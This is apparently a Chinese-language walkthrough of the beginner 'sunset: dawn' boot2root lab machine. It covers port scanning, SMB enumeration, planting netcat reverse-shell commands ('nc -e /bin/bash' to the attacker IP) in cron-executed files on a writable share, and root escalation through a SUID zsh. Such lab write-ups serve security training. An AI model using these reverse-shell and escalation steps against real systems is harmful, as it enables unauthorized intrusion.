靶机信息
Name: sunset: dawn
Date release: 3 Aug 2019
Difficulty: Beginner
Task:boot2root
关键知识点、工具:
- 端口扫描
- Web目录爆破
- Samba信息枚举
- Samba上传文件&反弹shell
- zsh-SUID提权
渗透过程:
网络信息:
靶机IP:192.168.2.26
攻击机IP:192.168.2.20
信息收集
nmap -A -T5 192.168.2.26
目标开放4个端口:80(HTTP),139/445(SMB),3306(MySQL)。
80端口是一个静态页面,目录扫描发现一个logs目录:
其中前三个打不开,第四个可以打开,乱七八糟一大堆,回头再看。
SMB枚举:
enum4linux 192.168.2.26
得到两点有用信息:
-
目录ITDEPT共享可以匿名访问
-
枚举出来两个用户名:dawn和ganimedes
访问SAMBA共享目录:可写入
smbclient \\192.168.2.26\ITDEPT -N
爆破MySQL账号密码:未果
到此,没啥思路了,去看看前面发现的那个日志吧:(太长了,我截取有用部分)
日志里,这条命令在改变此日志文件的内容
pspy64是一个无需root权限的进程监控工具
这里过一会重新从服务器上下载这个log文件,log文件会比上一次的大,说明每隔一段时间,系统进程信息会被记录进来一次,应该是系统设置的定时任务。
接着往下看:
基本上每分钟系统会执行命令chmod
来给/home/dawn/ITDEPT/web-control
文件和product-controt
文件添加777权限(可读可写可执行),然后执行这两个文件
而这两个文件所在的目录ITDEPT
名字和samba共享能访问的那个共享目录一致,在此推测,他们是同一个目录。
反弹shell
我们先创建并往这两个文件写入反弹shell的命令
$ echo "nc -e /bin/bash 192.168.2.20 8899" > web-control
$ echo "nc -e /bin/bash 192.168.2.20 8890" > product-control
上传
其实上传一个就行,毕竟两个都会被定时执行,这里我虽然上传了两个,但有一个名字写错了,所以等价于只上传了一个:web-control
这两个文件被不同用户权限执行
然后本地监听等待目标执行文件:
等待一会,不出意外的话,目标就会自己连接过来
python反弹个交互式shell好看一些
python -c 'import pty; pty.spawn("/bin/sh")'
提权到root
寻找suid文件:
find / -perm -u=s -type f 2>/dev/null
其中zsh是一个常见的shell,这里zsh有suid属性,则我们使用zsh作为shell也会拥有root的权限:
用户的euid=0(root),也就是我们有了root的权限了:
查看flag: